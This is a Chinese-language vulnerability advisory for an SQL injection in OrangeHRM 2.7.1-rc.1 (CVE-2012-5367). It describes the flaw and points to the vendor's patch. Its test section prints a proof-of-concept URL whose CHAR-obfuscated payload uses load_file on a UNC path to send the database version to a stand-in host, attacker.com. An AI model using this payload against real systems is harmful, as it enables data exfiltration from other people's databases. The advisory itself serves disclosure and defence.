OrangeHRM 'sortField'参数SQL注入漏洞


发布日期：2012-11-07
更新日期：2012-11-10

受影响系统：
OrangeHRM OrangeHRM 2.7.1-rc.1
描述：
--------------------------------------------------------------------------------
BUGTRAQ  ID: 56417
 CVE ID: CVE-2012-5367
 
OrangeHRM是一套全面的人力资源管理(HRM)系统。它实现了任何企业都需要的一些重要HR功能。
 
OrangeHRM 2.7.1-rc.1及其他版本存在SQL注入漏洞，攻击者可利用此漏洞控制应用、访问或修改数据、利用下层数据库内的其他漏洞。
 
<*来源：High-Tech Bridge Security Research Lab
  *>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
http://www.example.com/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&amp;amp;sortField=(select

load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR
 
(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR
 
(111),CHAR(98),CHAR(97),CHAR(114 ))))

建议：
--------------------------------------------------------------------------------
厂商补丁：
 
OrangeHRM
 ---------
 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
 
www.orangehrm.com/

相关内容